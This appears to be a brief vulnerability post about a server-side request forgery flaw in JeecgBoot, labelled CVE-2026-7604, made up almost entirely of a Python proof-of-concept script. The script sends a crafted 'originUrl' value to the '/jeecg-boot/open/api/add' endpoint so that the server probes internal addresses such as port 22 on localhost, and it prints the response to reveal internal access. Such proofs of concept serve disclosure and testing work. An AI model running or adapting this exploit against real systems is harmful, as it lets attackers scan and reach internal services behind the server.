CVE-2026-7604 JeecgBoot SSRF漏洞

import requests import json # CVE-2026-7604 PoC for JeecgBoot SSRF # Target configuration target = "http://127.0.0.1:8080" endpoint = "/jeecg-boot/open/api/add" # Malicious internal URL to scan (e.g., local admin panel) malicious_url = "http://127.0.0.1:22" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-7604-Scanner" } # Payload structure based on vulnerable parameter 'originUrl' payload = { "originUrl": malicious_url, # Note: Depending on the specific API version, other fields might be required. # This demonstrates the core vulnerability exploitation. } try: response = requests.post(target + endpoint, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check response for timing differences indicating internal access.") print("Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")